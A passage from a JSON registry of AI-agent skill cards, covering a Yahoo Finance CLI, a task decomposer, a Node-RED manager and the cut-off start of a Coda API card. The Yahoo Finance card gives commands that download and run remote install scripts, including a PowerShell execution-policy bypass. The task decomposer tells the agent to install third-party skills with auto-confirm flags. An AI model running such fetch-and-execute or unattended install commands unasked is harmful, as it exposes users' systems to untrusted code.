"card": {"name": "Yahoo Finance CLI", "slug": "clawhub-yahoo-finance", "version": "1.0.0", "description": "--- name: yahoo-finance description: Get stock prices, quotes, fundamentals, earnings, options, dividends, and analyst ratings using Yahoo Finance. Uses yfinance library - no API key required. ---", "documentation_md": "---\nname: yahoo-finance\ndescription: Get stock prices, quotes, fundamentals, earnings, options, dividends, and analyst ratings using Yahoo Finance. Uses yfinance library - no API key required.\n---\n\n# Yahoo Finance CLI\n\nA Python CLI for fetching comprehensive stock data from Yahoo Finance using yfinance.\n\n## Requirements\n\n- Python 3.11+\n- uv (for inline script dependencies)\n\n## Installing uv\n\nThe script requires `uv` - an extremely fast Python package manager. Check if it's installed:\n\n```bash\nuv --version\n```\n\nIf not installed, install it using one of these methods:\n\n### macOS / Linux\n```bash\ncurl -LsSf https://astral.sh/uv/install.sh | sh\n```\n\n### macOS (Homebrew)\n```bash\nbrew install uv\n```\n\n### Windows\n```powershell\npowershell -ExecutionPolicy ByPass -c \"irm https://astral.sh/uv/install.ps1 | iex\"\n```\n\n### pip (any platform)\n```bash\npip install uv\n```\n\nAfter installation, restart your terminal or run:\n```bash\nsource ~/.bashrc # or ~/.zshrc on macOS\n```\n\n## Installation\n\nThe `yf` script uses PEP 723 inline script metadata - dependencies are auto-installed on first run.\n\n```bash\n# Make executable\nchmod +x /path/to/skills/yahoo-finance/yf\n\n# Optionally symlink to PATH for global access\nln -sf /path/to/skills/yahoo-finance/yf /usr/local/bin/yf\n```\n\nFirst run will install dependencies (yfinance, rich) to uv's cache. Subsequent runs are instant.\n\n## Commands\n\n### Price (quick check)\n```bash\nyf AAPL # shorthand for price\nyf price AAPL\n```\n\n### Quote (detailed)\n```bash\nyf quote MSFT\n```\n\n### Fundamentals\n```bash\nyf fundamentals NVDA\n```\nShows: PE ratios, EPS, market cap, margins, ROE/ROA, analyst targets.\n\n### Earnings\n```bash\nyf earnings TSLA\n```\nShows: Next earnings date, EPS estimates, earnings history with surprises.\n\n### Company Profile\n```bash\nyf profile GOOGL\n```\nShows: Sector, industry, employees, website, address, business description.\n\n### Dividends\n```bash\nyf dividends KO\n```\nShows: Dividend rate/yield, ex-date, payout ratio, recent dividend history.\n\n### Analyst Ratings\n```bash\nyf ratings AAPL\n```\nShows: Buy/hold/sell distribution, mean rating, recent upgrades/downgrades.\n\n### Options Chain\n```bash\nyf options SPY\n```\nShows: Near-the-money calls and puts with strike, bid/ask, volume, OI, IV.\n\n### History\n```bash\nyf history GOOGL 1mo # 1 month history\nyf history TSLA 1y # 1 year\nyf history BTC-USD 5d # 5 days\n```\nRanges: 1d, 5d, 1mo, 3mo, 6mo, 1y, 2y, 5y, 10y, ytd, max\n\n### Compare\n```bash\nyf compare AAPL,MSFT,GOOGL\nyf compare RELIANCE.NS,TCS.NS,INFY.NS\n```\nSide-by-side comparison with price, change, 52W range, market cap.\n\n### Search\n```bash\nyf search \"reliance industries\"\nyf search \"bitcoin\"\nyf search \"s&p 500 etf\"\n```\n\n## Symbol Format\n\n- **US stocks:** AAPL, MSFT, GOOGL, TSLA\n- **Indian NSE:** RELIANCE.NS, TCS.NS, INFY.NS\n- **Indian BSE:** RELIANCE.BO, TCS.BO\n- **Crypto:** BTC-USD, ETH-USD\n- **Forex:** EURUSD=X, GBPUSD=X\n- **ETFs:** SPY, QQQ, VOO\n\n## Examples\n\n```bash\n# Quick price check\nyf AAPL\n\n# Get valuation metrics\nyf fundamentals NVDA\n\n# Next earnings date + history\nyf earnings TSLA\n\n# Options chain for SPY\nyf options SPY\n\n# Compare tech giants\nyf compare AAPL,MSFT,GOOGL,META,AMZN\n\n# Find Indian stocks\nyf search \"infosys\"\n\n# Dividend info for Coca-Cola\nyf dividends KO\n\n# Analyst ratings for Apple\nyf ratings AAPL\n```\n\n## Troubleshooting\n\n### \"command not found: uv\"\nInstall uv using the instructions above.\n\n### Rate limiting / connection errors\nYahoo Finance may rate limit excessive requests. Wait a few minutes and try again.\n\n### \"No data\" for a symbol\n- Verify the symbol exists: `yf search \"company name\"`\n- Some data (options, dividends) isn't available for all securities\n\n## Technical Notes\n\n- Uses PEP 723 inline script metadata for uv dependencies\n- Rich library provides colored, formatted tables\n- First run installs deps to uv cache (~5 seconds)\n- Subsequent runs are instant (cached environment)\n- Handles NaN/None values gracefully with fallbacks\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/ajanraj/yahoo-finance/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/ajanraj/yahoo-finance/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/ajanraj/yahoo-finance/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/ajanraj/yahoo-finance/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/ajanraj/yahoo-finance/SKILL.md", "importedAt": "2026-02-18T19:26:30.350Z"}}}}, {"slug": "clawhub-task-decomposer", "name": "Task Decomposer & Skill Generator", "category": "Automation", "description": "This skill helps decompose complex user requests into executable subtasks, identify required capabilities for each task, search for existing skills...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Task Decomposer & Skill Generator", "slug": "clawhub-task-decomposer", "version": "1.0.0", "description": "--- name: task-decomposer description: Decomposes complex user requests into executable subtasks, identifies required capabilities, searches for existing skills at skills.sh, and creates new skills when no solution exists. This skill should be used when the user submits a complex multi-step request, wants to automate workflows, or needs help breaking down large tasks into manageable pieces. ---", "documentation_md": "---\nname: task-decomposer\ndescription: Decomposes complex user requests into executable subtasks, identifies required capabilities, searches for existing skills at skills.sh, and creates new skills when no solution exists. This skill should be used when the user submits a complex multi-step request, wants to automate workflows, or needs help breaking down large tasks into manageable pieces.\n---\n\n# Task Decomposer & Skill Generator\n\nThis skill helps decompose complex user requests into executable subtasks, identify required capabilities for each task, search for existing skills from the open skills ecosystem, and automatically create new skills when no existing solution is available.\n\n## Core Workflow\n\n```\nUser Request \u2192 Task Decomposition \u2192 Capability Identification \u2192 Skill Search \u2192 Gap Analysis \u2192 Skill Creation \u2192 Execution Plan\n```\n\n## Phase 1: Task Analysis & Decomposition\n\nWhen receiving a user request, follow these steps:\n\n### Step 1: Understand User Intent\n\nAnalyze the request to identify:\n- **Core objective**: What is the end goal?\n- **Domains involved**: What areas of expertise are needed?\n- **Trigger mechanism**: One-time, scheduled, or event-driven?\n\nExample analysis:\n```\nUser Input: \"Help me get email summaries every morning and send them to Slack\"\n\nAnalysis:\n- Core objective: Automated email digest delivery to Slack\n- Domains: Email access, content summarization, messaging\n- Trigger: Scheduled (daily morning)\n```\n\n### Step 2: Decompose into Atomic Tasks\n\nBreak down the complex task into minimal executable units:\n\n```yaml\nTask Decomposition:\n - task_id: 1\n name: \"Access and retrieve email list\"\n type: \"data_retrieval\"\n input: \"Email credentials/session\"\n output: \"List of emails with metadata\"\n dependencies: []\n \n - task_id: 2\n name: \"Extract key information from emails\"\n type: \"data_extraction\"\n input: \"Email list\"\n output: \"Structured email data\"\n dependencies: [1]\n \n - task_id: 3\n name: \"Generate email summary\"\n type: \"content_generation\"\n input: \"Structured email data\"\n output: \"Formatted summary text\"\n dependencies: [2]\n \n - task_id: 4\n name: \"Send message to Slack\"\n type: \"message_delivery\"\n input: \"Summary text, Slack webhook/token\"\n output: \"Delivery confirmation\"\n dependencies: [3]\n \n - task_id: 5\n name: \"Configure scheduled execution\"\n type: \"scheduling\"\n input: \"Workflow script, schedule config\"\n output: \"Active scheduled job\"\n dependencies: [4]\n```\n\n## Phase 2: Capability Identification\n\nMap each subtask to a capability type from the universal capability taxonomy.\n\n### Universal Capability Types\n\n| Capability | Description | Search Keywords |\n|------------|-------------|-----------------|\n| `browser_automation` | Web navigation, interaction, scraping | browser, selenium, puppeteer, playwright, scrape |\n| `web_search` | Internet search and information retrieval | search, google, bing, duckduckgo |\n| `api_integration` | Third-party API communication | api, rest, graphql, webhook, {service-name} |\n| `data_extraction` | Parse and extract structured data | parse, extract, scrape, ocr, pdf |\n| `data_transformation` | Convert, clean, transform data | transform, convert, format, clean, etl |\n| `content_generation` | Create text, images, or other content | generate, write, create, summarize, translate |\n| `file_operations` | Read, write, manipulate files | file, read, write, csv, excel, json, pdf |\n| `message_delivery` | Send notifications or messages | notify, send, email, slack, discord, telegram |\n| `scheduling` | Time-based task execution | schedule, cron, timer, daily, weekly |\n| `authentication` | Identity and access management | auth, oauth, login, token, credentials |\n| `database_operations` | Database CRUD operations | database, sql, mongodb, query, store |\n| `code_execution` | Run scripts or programs | execute, run, script, shell, python |\n| `version_control` | Git and code repository operations | git, github, gitlab, commit, pr, review |\n| `testing` | Automated testing and QA | test, jest, pytest, e2e, unit |\n| `deployment` | Application deployment and CI/CD | deploy, docker, kubernetes, ci-cd, release |\n| `monitoring` | System and application monitoring | monitor, alert, log, metrics, health |\n\n### Capability Identification Process\n\nFor each subtask:\n1. Analyze the task description and requirements\n2. Match to one or more capability types\n3. Generate search keywords for skill discovery\n\nExample:\n```yaml\nTask: \"Send message to Slack\"\nCapability: message_delivery\nSearch Keywords: [\"slack\", \"notification\", \"message\", \"webhook\"]\n```\n\n## Phase 3: Skill Search\n\nUse the Skills CLI to search for existing skills at https://skills.sh/\n\n### Search Process\n\nFor each capability need, search using relevant keywords:\n\n```bash\n# Search for skills matching the capability\nnpx skills find <keyword>\n\n# Examples:\nnpx skills find slack notification\nnpx skills find browser automation\nnpx skills find pdf extract\nnpx skills find github api\n```\n\n### Evaluate Search Results\n\nWhen results are returned:\n```\nInstall with npx skills add <owner/repo@skill>\n\nowner/repo@skill-name\n\u2514 https://skills.sh/owner/repo/skill-name\n```\n\nEvaluate each result for:\n- **Relevance**: Does it match the required capability?\n- **Completeness**: Does it cover all needed functionality?\n- **Quality**: Is it well-documented and maintained?\n\n### Generate Capability Mapping\n\n```yaml\nCapability Mapping:\n - task_id: 1\n capability: browser_automation\n search_query: \"browser email automation\"\n found_skills:\n - name: \"anthropic/claude-skills@browser-use\"\n url: \"https://skills.sh/anthropic/claude-skills/browser-use\"\n match_score: high\n recommendation: \"Install browser-use skill\"\n \n - task_id: 4\n capability: message_delivery\n search_query: \"slack notification\"\n found_skills: []\n recommendation: \"Create new skill: slack-notification\"\n```\n\n## Phase 4: Gap Analysis\n\nIdentify tasks without matching skills:\n\n### Built-in Capabilities (No Skill Needed)\n\nThese capabilities are typically handled by the agent's native abilities:\n- `content_generation` - LLM's native text generation\n- `data_transformation` - Basic data manipulation via code\n- `code_execution` - Direct script execution\n- `scheduling` - System-level cron/scheduler configuration\n\n### Skills Required\n\nFor capabilities without built-in support, determine:\n1. **Skill exists**: Install from skills.sh\n2. **Skill not found**: Create new skill\n\n## Phase 5: Skill Creation\n\nWhen no existing skill matches a required capability, create a new skill.\n\n### Skill Creation Process\n\n1. **Define scope**: Determine what the skill should do\n2. **Design interface**: Define inputs, outputs, and usage patterns\n3. **Create SKILL.md**: Write the skill definition file\n4. **Add resources**: Include scripts, references, or assets as needed\n\n### Skill Template\n\n```markdown\n---\nname: {skill-name}\ndescription: {Clear description of what the skill does and when to use it. Written in third person.}\n---\n\n# {Skill Title}\n\n{Brief introduction explaining the skill's purpose.}\n\n## When to Use\n\n{Describe scenarios when this skill should be triggered.}\n\n## Prerequisites\n\n{List any required installations, configurations, or credentials.}\n\n## Usage\n\n{Detailed usage instructions with examples.}\n\n### Basic Usage\n\n```bash\n{Basic command or code example}\n```\n\n### Advanced Usage\n\n{More complex examples and options.}\n\n## Configuration\n\n{Any configuration options or environment variables.}\n\n## Examples\n\n### Example 1: {Use Case}\n\n{Step-by-step example with code.}\n\n## Troubleshooting\n\n{Common issues and solutions.}\n```\n\n### Initialize New Skill\n\n```bash\n# Create skill using the skills CLI\nnpx skills init <skill-name>\n\n# Or manually create the structure:\n# skill-name/\n# \u251c\u2500\u2500 SKILL.md (required)\n# \u251c\u2500\u2500 scripts/ (optional)\n# \u251c\u2500\u2500 references/ (optional)\n# \u2514\u2500\u2500 assets/ (optional)\n```\n\n## Phase 6: Generate Execution Plan\n\nCompile all information into a structured execution plan:\n\n```yaml\nExecution Plan:\n title: \"{Task Description}\"\n \n prerequisites:\n - \"{Prerequisite 1}\"\n - \"{Prerequisite 2}\"\n \n skills_to_install:\n - skill: \"owner/repo@skill-name\"\n command: \"npx skills add owner/repo@skill-name -g -y\"\n url: \"https://skills.sh/owner/repo/skill-name\"\n \n skills_to_create:\n - name: \"{new-skill-name}\"\n capability: \"{capability_type}\"\n description: \"{What it does}\"\n \n execution_steps:\n - step: 1\n task: \"{Task name}\"\n skill: \"{skill-name | built-in}\"\n action: \"{Specific action to take}\"\n \n - step: 2\n task: \"{Task name}\"\n skill: \"{skill-name | built-in}\"\n action: \"{Specific action to take}\"\n \n verification:\n - \"{How to verify step 1 succeeded}\"\n - \"{How to verify step 2 succeeded}\"\n```\n\n## Task Decomposition Principles\n\n### Principle 1: Atomicity\nEach subtask should be the minimal executable unit with clear input and output.\n\n### Principle 2: Independence\nMinimize dependencies between tasks to allow parallel execution where possible.\n\n### Principle 3: Verifiability\nEach task should have a clear way to verify successful completion.\n\n### Principle 4: Reusability\nIdentify reusable patterns and prefer creating general-purpose skills.\n\n### Principle 5: Single Responsibility\nEach task should do one thing well.\n\n## Output Format\n\nPresent the decomposition results in a structured format:\n\n```\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ud83d\udccb TASK DECOMPOSITION REPORT\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n\ud83c\udfaf Original Request:\n{User's original request}\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ud83d\udcca SUBTASKS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 ID \u2502 Task \u2502 Capability \u2502 Status \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 1 \u2502 {task name} \u2502 {capability} \u2502 Found \u2502\n\u2502 2 \u2502 {task name} \u2502 {capability} \u2502 Built-in \u2502\n\u2502 3 \u2502 {task name} \u2502 {capability} \u2502 Create \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ud83d\udd0d SKILL SEARCH RESULTS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTask 1: {task name}\n Search: npx skills find {keywords}\n Found: owner/repo@skill-name\n URL: https://skills.sh/owner/repo/skill-name\n \nTask 3: {task name}\n Search: npx skills find {keywords}\n Found: No matching skills\n Action: Create new skill\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ud83d\udee0\ufe0f SKILLS TO CREATE\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. {skill-name}\n Capability: {capability_type}\n Description: {what it does}\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ud83d\udcdd EXECUTION PLAN\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nPrerequisites:\n \u2022 {prerequisite 1}\n \u2022 {prerequisite 2}\n\nSteps:\n 1. {action} using {skill}\n 2. {action} using {skill}\n 3. {action} using {skill}\n\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n```\n\n## Examples\n\n### Example 1: Workflow Automation\n\n**User Request:**\n```\nCreate a workflow that monitors GitHub issues, summarizes new issues, and posts notifications to Discord\n```\n\n**Decomposition:**\n```yaml\nSubtasks:\n 1. Monitor GitHub repository for new issues\n Capability: api_integration\n Search: \"npx skills find github issues\"\n \n 2. Extract issue content and metadata\n Capability: data_extraction\n Status: Built-in (code)\n \n 3. Generate issue summary\n Capability: content_generation\n Status: Built-in (LLM)\n \n 4. Send notification to Discord\n Capability: message_delivery\n Search: \"npx skills find discord notification\"\n \n 5. Configure webhook or polling trigger\n Capability: scheduling\n Status: Built-in (system)\n```\n\n### Example 2: Data Pipeline\n\n**User Request:**\n```\nSearch for AI research papers, download PDFs, extract key findings, and save to Notion\n```\n\n**Decomposition:**\n```yaml\nSubtasks:\n 1. Search for AI research papers\n Capability: web_search\n Search: \"npx skills find academic search\"\n \n 2. Download PDF files\n Capability: browser_automation\n Search: \"npx skills find browser download\"\n \n 3. Extract text from PDFs\n Capability: data_extraction\n Search: \"npx skills find pdf extract\"\n \n 4. Generate summaries of key findings\n Capability: content_generation\n Status: Built-in (LLM)\n \n 5. Save to Notion database\n Capability: api_integration\n Search: \"npx skills find notion\"\n```\n\n## Best Practices\n\n1. **Start with skill search**: Always check https://skills.sh/ before creating new skills\n2. **Use specific search terms**: Combine capability keywords with domain terms\n3. **Leverage built-in capabilities**: Don't create skills for things the agent can do natively\n4. **Create reusable skills**: Design new skills to be general-purpose when possible\n5. **Document thoroughly**: New skills should have clear usage instructions\n6. **Verify before proceeding**: Confirm skill installation before executing tasks\n7. **Handle errors gracefully**: Include fallback strategies in execution plans\n\n## Integration with find-skills\n\nThis skill works in conjunction with the `find-skills` skill for discovering existing solutions:\n\n```bash\n# Search the skills ecosystem\nnpx skills find <query>\n\n# Install a discovered skill\nnpx skills add <owner/repo@skill> -g -y\n\n# Browse all available skills\n# Visit: https://skills.sh/\n```\n\n## Notes\n\n- Always search for existing skills before creating new ones\n- Built-in capabilities (LLM, basic code) don't require skills\n- Skill creation requires user confirmation before proceeding\n- Complex workflows may need multiple skills working together\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/10e9928a/task-decomposer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/10e9928a/task-decomposer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/10e9928a/task-decomposer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/10e9928a/task-decomposer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/10e9928a/task-decomposer/SKILL.md", "importedAt": "2026-02-18T19:24:20.713Z"}}}}, {"slug": "clawhub-node-red-manager", "name": "Node-RED Manager", "category": "Automation", "description": "1. Copy .env.example to .env.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Node-RED Manager", "slug": "clawhub-node-red-manager", "version": "1.0.0", "description": "--- name: node-red-manager description: Manage Node-RED instances via Admin API or CLI. Automate flow deployment, install nodes, and troubleshoot issues. Use when user wants to \"build automation\", \"connect devices\", or \"fix node-red\". ---", "documentation_md": "---\nname: node-red-manager\ndescription: Manage Node-RED instances via Admin API or CLI. Automate flow deployment, install nodes, and troubleshoot issues. Use when user wants to \"build automation\", \"connect devices\", or \"fix node-red\".\n---\n\n# Node-RED Manager\n\n## Setup\n1. Copy `.env.example` to `.env`.\n2. Set `NODE_RED_URL`, `NODE_RED_USERNAME`, and `NODE_RED_PASSWORD` in `.env`.\n3. The script automatically handles dependencies on first run.\n\n## Infrastructure\n- **Stack Location**: `deployments/node-red`\n- **Data Volume**: `deployments/node-red/data`\n- **Docker Service**: `mema-node-red`\n- **URL**: `https://flow.glassgallery.my.id`\n\n## Usage\n\n### Flow Management\n\n```bash\n# List all flows\nscripts/nr list-flows\n\n# Get specific flow by ID\nscripts/nr get-flow <flow-id>\n\n# Deploy flows from file\nscripts/nr deploy --file assets/flows/watchdog.json\n\n# Update specific flow\nscripts/nr update-flow <flow-id> --file updated-flow.json\n\n# Delete flow\nscripts/nr delete-flow <flow-id>\n\n# Get flow runtime state\nscripts/nr get-flow-state\n\n# Set flow runtime state\nscripts/nr set-flow-state --file state.json\n```\n\n### Backup & Restore\n\n```bash\n# Backup all flows to file\nscripts/nr backup\nscripts/nr backup --output my-backup.json\n\n# Restore flows from backup\nscripts/nr restore node-red-backup-20260210_120000.json\n```\n\n### Node Management\n\n```bash\n# List installed nodes\nscripts/nr list-nodes\n\n# Install node module\nscripts/nr install-node node-red-contrib-http-request\n\n# Get node information\nscripts/nr get-node node-red-contrib-http-request\n\n# Enable/disable node\nscripts/nr enable-node node-red-contrib-http-request\nscripts/nr disable-node node-red-contrib-http-request\n\n# Remove node\nscripts/nr remove-node node-red-contrib-http-request\n```\n\n### Runtime Information\n\n```bash\n# Get runtime settings\nscripts/nr get-settings\n\n# Get runtime diagnostics\nscripts/nr get-diagnostics\n```\n\n### Context Management\n\n```bash\n# Get context value\nscripts/nr get-context flow my-key\nscripts/nr get-context global shared-data\n\n# Set context value\nscripts/nr set-context flow my-key '\"value\"'\nscripts/nr set-context global counter '42'\nscripts/nr set-context global config '{\"key\": \"value\"}'\n```\n\n## Docker Operations\n\n```bash\n# Restart Node-RED\ncd deployments/node-red && docker compose restart\n\n# View logs\ndocker logs mema-node-red --tail 100\n\n# Follow logs\ndocker logs -f mema-node-red\n```\n\n## Environment Variables\n\n- `NODE_RED_URL`: Node-RED API endpoint (default: `http://localhost:1880`)\n- `NODE_RED_USERNAME`: Admin username\n- `NODE_RED_PASSWORD`: Admin password\n\nLegacy variable names (`NR_URL`, `NR_USER`, `NR_PASS`) are supported for backward compatibility.\n\n## API Reference\n\nSee `references/admin-api.md` for complete Admin API endpoint documentation.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/node-red-manager/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1999azzar/node-red-manager/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1999azzar/node-red-manager/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1999azzar/node-red-manager/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/node-red-manager/SKILL.md", "importedAt": "2026-02-18T19:24:20.724Z"}}}}, {"slug": "clawhub-coda", "name": "Coda API Skill", "category": "Automation", "description": "Interact with the Coda REST API v1 to manage docs, tables, rows, pages, and automations.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Coda API Skill", "slug": "clawhub-coda", "version": "1.0.0", "description": "--- name: coda description: General-purpose Coda document manager via REST API v1. Supports listing/creating/updating/deleting docs, managing tables/rows/pages, triggering automations, and exploring doc structure. Requires CODA_API_TOKEN environment variable. Delete operations require explicit confirmation; publishing and permission changes require explicit user intent. ---", "documentation_md": "---\nname: coda\ndescription: General-purpose Coda document manager via REST API v1. Supports listing/creating/updating/deleting docs, managing tables/rows/pages, triggering automations, and exploring doc structure. Requires CODA_API_TOKEN environment variable. Delete operations require explicit confirmation; publishing and permission changes require explicit user 